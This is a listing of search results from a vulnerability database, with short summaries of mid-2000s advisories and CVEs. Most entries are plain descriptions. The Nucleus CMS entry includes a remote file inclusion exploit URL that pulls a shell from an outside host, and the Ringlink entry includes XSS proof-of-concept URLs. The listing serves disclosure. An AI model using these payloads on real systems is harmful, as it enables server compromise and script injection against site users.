1949 matches found
DTSA-145-1 pcre3 - heap-based buffer overflow
Bulletin has no description...
DTSA-102-1 ruby-gnome2 - format string vulnerability
Bulletin has no description...
SonicWALL Global VPN Client format string vulnerability
Format stirng vulnerability on configuration file parsing...
nucleus 3.22 >> RFI
VENDOR :http://nucleuscms.org/ BY : s3rv3rhack3r hackerz.ir admin bug: nucleus3.22/nucleus/plugins/skinfiles/index.php = include$DIRLIBS . 'PLUGINADMIN.php'; Exloit: http://victim/nucleus/plugins/skinfiles/index.php?DIRLIBS=http://shell...
NetBSD ktruser integer overflow
No description provided...
WzdFTPD FTP server DoS
NULL pointer dereference on FTP commands parsing...
CVE-2006-6614
The saveloglocal function in Fully Automatic Installation FAI 2.10.1, and possibly 3.1.2, when verbose mode is enabled, stores the root password hash in /var/log/fai/current/fai.log, whose file permissions allow it to be copied to other hosts when fai-savelog is called and allows attackers to...
7 php scripts File Inclusion / Source disclosure Vuln
Title..: 7 php scripts File Inclusion Vuln / Source disclosure Credits: DarkFig Og.link: http://acid-root.new.fr/poc/13061007.txt Using http://www.google.com/codesearch Few examples about what we can do with a code search engine For educational purpose only. You can use regex in your research, th...
CVE-2006-4571
Multiple unspecified vulnerabilities in Firefox before 1.5.0.7, Thunderbird before 1.5.0.7, and SeaMonkey before 1.0.5 allow remote attackers to cause a denial of service crash, corrupt memory, and possibly execute arbitrary code via unspecified vectors, some of which involve JavaScript, and...
CVE-2006-3407
Tor before 0.1.1.20 allows remote attackers to spoof log entries or possibly execute shell code via strings with non-printable characters...
Ringlink v3.2 - XSS
Ringlink v3.2 Homepage: http://www.ringlink.org Effected files: next.cgi stats.cgi list.cgi XSS Vulnerability PoC: http://www.example.com/ringlink/next.cgi?ringid=IMG20SRC=javascript:alert'XSS' http://www.example.com/ringlink/stats.cgi?ringid=IMG20SRC=javascript:alert'XSS'...
CVE-2006-2781
Double free vulnerability in nsVCard.cpp in Mozilla Thunderbird before 1.5.0.4 and SeaMonkey before 1.0.2 allows remote attackers to cause a denial of service hang and possibly execute arbitrary code via a VCard that contains invalid base64 characters...
CVE-2006-2441
Pioneers meta-server before 0.9.55, when the server-console is not installed, allows remote attackers to cause a denial of service crash via certain requests from an older gnocatan client to create a new game...
CVE-2006-1530
Unspecified vulnerability in Firefox and Thunderbird before 1.5.0.2, and SeaMonkey before 1.0.1, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via unknown attack vectors related to DHTML. NOTE: due to the lack of sufficient public details from the...
CVE-2006-1723
Unspecified vulnerability in Firefox and Thunderbird before 1.5.0.2, and SeaMonkey before 1.0.1, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via unknown attack vectors related to DHTML. NOTE: due to the lack of sufficient public details from the...
CVE-2006-1058
BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables...
XOR-iUser.txt
------=Part352119317884.1140054596440 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=...
TMSNC Textbased MSN Client format string bug
wprintw format string bug...
CVE-2005-2496
The xntpd ntp ntpd daemon before 4.2.0b, when run with the -u option and using a string to specify the group, uses the group ID of the user instead of the group, which causes xntpd to run with different privileges than intended...
